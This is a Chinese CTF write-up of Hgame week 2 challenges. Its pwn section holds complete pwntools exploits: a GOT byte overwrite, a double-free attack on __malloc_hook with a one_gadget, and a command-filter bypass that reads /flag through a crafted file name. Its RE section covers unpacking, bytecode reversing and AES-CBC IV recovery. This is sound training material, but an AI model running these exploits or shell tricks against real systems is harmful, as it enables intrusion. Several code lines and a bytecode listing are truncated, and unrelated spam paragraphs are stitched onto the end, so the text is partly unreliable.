这是Hgame_CTF第二周的题目,一共有四周。相对来说,比之一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。
##pwn
###Another_Heaven
该题目存在一个后门
*(_DWORD *)v5=readi(); // 可以写入一个地址
read(0, (void *)*(signed int *)v5, 1uLL);
这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。
再看cspw函数
__int64 cpswd()
{
int i; // [rsp+Ch] [rbp-14h]
puts("Input new password:");
read_n((__int64)buf, 48);
printf("Processing.", 48LL);
for ( i=0; i
{
if ( !strncpy((char *)(i + 0x602160LL), &buf[i], 1uLL) )// 覆盖到flag
{
puts("System Error!");
exit(0);
}
putchar('.');
usleep(10000u);
}
puts("Done!");
return 0LL;
}
可以覆盖flag,那么strncpy之一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
REMOTE_LIBC=""
io=remote('172.17.0.2',10001)
#elf=ELF(EXEC_FILE)
#libc=ELF(REMOTE_LIBC)
io.recv()
raw_input()
io.sendline(str(0x0602020))#修改strncpy
io.send('\xE6')
io.recvuntil(':')
io.sendline("E99p1ant")
io.recvuntil(":")
io.sendline('a')
io.recvuntil('(y/n)')
io.sendline('y')
io.recvuntil('?')
io.sendline('Alice·Synthesis·Thirty')
io.recvuntil(":")
io.sendline('a')
print io.recv()
io.interactive()
###Roc826s_Note
题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE=""
REMOTE_LIBC=""
#main_offset=3951392
io=remote('47.103.214.163',21002)
#io=process('')
#elf=ELF(EXEC_FILE)
libc=ELF(REMOTE_LIBC)
def add(size,content):
io.sendlineafter(':','1')
io.sendlineafter('?',str(size))
io.sendlineafter(':',content)
def show(idx):
io.sendlineafter(':','3')
io.sendlineafter('?',str(idx))
def delete(idx):
io.sendlineafter(':','2')
io.sendlineafter('?',str(idx))
add(0x89,'a')#0
add(0x10,'b')#1
delete(0)
show(0)
io.recvuntil('content:')
unsorted_bin=u64(io.recvn(6).ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr=unsorted_bin - 3951392
print hex(libc_addr)
__malloc_hook=libc_addr + libc.sym['__malloc_hook']
add(0x68,'c')#2
add(0x68,'d')#3
add(0x68,'e')#4
delete(2)
delete(3)
delete(2)
add(0x68,p64(__malloc_hook-35)*2)#5
add(0x68,'f')#6
add(0x68,'g')
add(0x68,19*'\x00'+p64(libc_addr+0xf1147))
io.sendlineafter(':','1')
io.sendlineafter('?',str(0x68))
io.interactive()
###findyourself
题目考察过滤,有两个check函数,如果通过check函数就会执行system
signed __int64 __fastcall check1(const char *a1)
{
signed __int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]
for ( i=0; i
{
if ( (a1[i] 122) && (a1[i] 90) && a1[i] !=47 && a1[i] !=32 && a1[i] !=45 )
return 0xFFFFFFFFLL;
}
if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
result=0xFFFFFFFFLL;
else
result=0LL;
return result;
}
signed __int64 __fastcall check2(const char *a1)
{
signed __int64 result; // rax
if ( strchr(a1, 42)
|| strstr(a1, "sh")
|| strstr(a1, "cat")
|| strstr(a1, "..")
|| strchr(a1, 38)
|| strchr(a1, 124)
|| strchr(a1, 62)
|| strchr(a1, 60) )
{
result=0xFFFFFFFFLL;
}
else
{
result=0LL;
}
return result;
}
原本是绕过了之一个check,想通过第二个check得到终端。exp如下
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE=""
REMOTE_LIBC=""
io=remote('47.103.214.163',21000)
#elf=ELF(EXEC_FILE)
#libc=ELF(REMOTE_LIBC)
io.recvuntil('yourself')
io.sendline('ls -l /proc/self/cwd')
sleep(0.1)
io.recvuntil('-> ')
chdir=io.recvn(15)
io.recv()
io.sendline(chdir)
sleep(0.1)
raw_input()
io.sendline('ltotal 4004')
io.interactive()
但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行
cat /flag>/tmp/`cat /flag`
使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag
##RE
###unpack
题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。
追到下边代码的时候就能感觉到已经进入OEP了
LOAD:0000000000400890 loc_400890:
LOAD:0000000000400890 xor ebp, ebp
LOAD:0000000000400892 mov r9, rdx
LOAD:0000000000400895 pop rsi
LOAD:0000000000400896 mov rdx, rsp
LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h
LOAD:000000000040089D push rax
LOAD:000000000040089E push rsp
LOAD:000000000040089F mov r8, 4017A0h
LOAD:00000000004008A6 mov rcx, 401710h
LOAD:00000000004008AD mov rdi, offset sub_4009AE
LOAD:00000000004008B4 call loc_401250
LOAD:00000000004008B9 hlt
很容易就能看到flag处理函数
__int64 sub_4009AE()
{
__int64 result; // rax
signed int v1; // [rsp+8h] [rbp-48h]
signed int i; // [rsp+Ch] [rbp-44h]
char v3[56]; // [rsp+10h] [rbp-40h]
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4=__readfsqword(0x28u);
sub_40F570((__int64)&unk_4A13A8, v3);
v1=0;
for ( i=0; i > 38 FOR_ITER32 (to 72)
40 STORE_FAST 3 (O0)
7 42 LOAD_FAST2 (O0o)
44 LOAD_FAST3 (O0)
46 LOAD_CONST 2 (1)
48 BINARY_SU *** RACT
50 BINARY_SUBSCR
52 LOAD_FAST2 (O0o)
54 LOAD_FAST3 (O0)
56 BINARY_SUBSCR
58 BINARY_XOR
60 STORE_FAST 4 (Oo)
8 62 LOAD_FAST4 (Oo)
64 LOAD_FAST2 (O0o)
66 LOAD_FAST3 (O0)
68 STORE_SUBSCR
70 JUMP_ABSOLUTE 38
>> 72 POP_BLOCK
9 >> 74 LOAD_GLOBAL 3 (bytes)
76 LOAD_FAST2 (O0o)
78 CALL_FUNCTION1
80 STORE_FAST 5 (O)
10 82 LOAD_FAST5 (O)
84 LOAD_METHOD 4 (hex)
86 CALL_METHOD 0
88 RETURN_VALUE
In [5]: exit()
需要注意
BINARY_SU *** RACT 为相减,BINARY_SUBSCR 取值
可以还原
flag="sfesefsfhthfyhjjus"
O0o=list(flag)
out_flag=""
for i in range(1,len(O0o)):
O0=i
Oo=ord(O0o[O0-1])^ord(O0o[O0])
O0o [O0]=Oo
写出exp
q="7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"
flag=[]
for i in range(0,len(q),2):
flag.append(int(q[i:i+2],16))
print flag
flags=""
flag=flag[::-1]
for i in range(len(flag)-1):
flag[i]=flag[i+1]^flag[i]
flags +=chr(flag[i])
flags +=chr(0x7d)
print flags
###classic_CrackMe
.net程序
string text=this.textBox1.Text;
if (text.Length !=46 || text.IndexOf("hgame{") !=0 || text.IndexOf("}") !=45)
{
MessageBox.Show("Illegal format");
return;
}
string base64iv=text.Substring(6, 24);
string str=text.Substring(30, 15);
try
{
Aes aes3=new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv);
Aes aes2=new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw==");
string text2=aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==");
if (text2.Equals("Same_ciphertext_"))
{
byte[] array=new byte[16];
Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);
if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q=="))
{
MessageBox.Show("注册成功!");
this.Text="已激活,欢迎使用!";
this.status=1;
}
else
{
MessageBox.Show("注册失败!
hint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));
}
}
else
{
MessageBox.Show("注册失败!
hint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));
}
}
catch
{
MessageBox.Show("注册失败!");
}
}
输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。
明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。
解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText
plainText=( Decrypt(chiperText, key) ) ^ IV
上面的公式 分成两步:
1.DecChiperText=Decrypt(chiperText, key) //使用 key 去解密 chiperText
2.plainText=tmp ^ IV //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)
已知:
key="Hg4m3_2o20_WeeK2"
plainText="Same_ciphertext_"
chiperText="\x9a7Q\xa8~\x1d\xd4\xef'mF \x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"
再构造一个 假 IV 去解密,变成:
fakeIV="aaaaaaaaaaaaaaaa"
key="Hg4m3_2o20_WeeK2"
plainText="Same_ciphertext_"
chiperText="\x9a7Q\xa8~\x1d\xd4\xef'mF \x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"
fakePlainText=( Decrypt(chiperText, key) ) ^ fakeIV
plainText=fakePlainText ^ fakeIV
因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面之一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV
IV=DecChiperText ^ plainText
可以写python代码
from Crypto.Cipher import AES
import base64
key=base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==")
fakeIV="aaaaaaaaaaaaaaaa"
plainText="Same_ciphertext_"
chiperText=base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")
mode=AES.MODE_CBC
aesCipher=AES.new(key, mode, fakeIV)
fakePlainText=aesCipher.decrypt(chiperText)
#print fakePlainText
IV=''
for i in range(16):
IV +=chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))
print "IV : " + IV
#IV : /TyXYzPnY;$)\we_
求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==
然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。
(完)
如果想更多系统的学习CTF,可点击 链接 进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。
很多人其实现在看到了网络创业的机会,于是纷纷的加入到互联网的创业大军。互联网创业模式基本就这几种: 1.平台电商创业,如淘宝,天猫,拼多多等。 2.社交电商,产品电商和虚拟产品电商 为什么我...
为了确认表格称号中指定字符的方位,咱们将子字符串函数的第二个参数从1更改为2。 CmsEasy分站:http://www.cmseasy.org在搞清楚遥控的作业流程后,咱们知道是能够对其进行彻底的模...
微信如何恢复和聊天?如何正确解读不需要电脑康复的微信记录!当我看到许多小伙伴在后台问这样的问题时,我不禁大笑起来。甚至他们中的大多数人都不知道删除记录后可以从微信恢复,更不用说不用用电脑从微信记录中恢...
一般说自己很厉害的黑客都是真的吗,黑客是怎样的性格 黑客真面目就是有鼻子有眼有嘴的普通的人,头脑机灵,内心邪恶,总想探窥别人隐私,扰乱计算机网络,打乱人们正常生活,达到损人目的。现代警察开始利用黑客打...
本文目录一览: 1、《唐人街探案2》女黑客是谁? 2、唐人街探案2当中的女黑客KIKO是谁演的 3、唐人街探案2Kiko的黑科技装备在那买? 4、唐人街探案三中的女黑客身上带的迷你电脑有卖...
立刻就即将到四月份力。四月有一个关键的节日清明时节,除开祭拜远去的家人。还有一个吃青团的尤其风俗习惯。青团的的表面是翠绿色的十分漂亮。青团怎么做 青团的简易粉丝的做法叩门是啥。产生有关详细介绍。 青...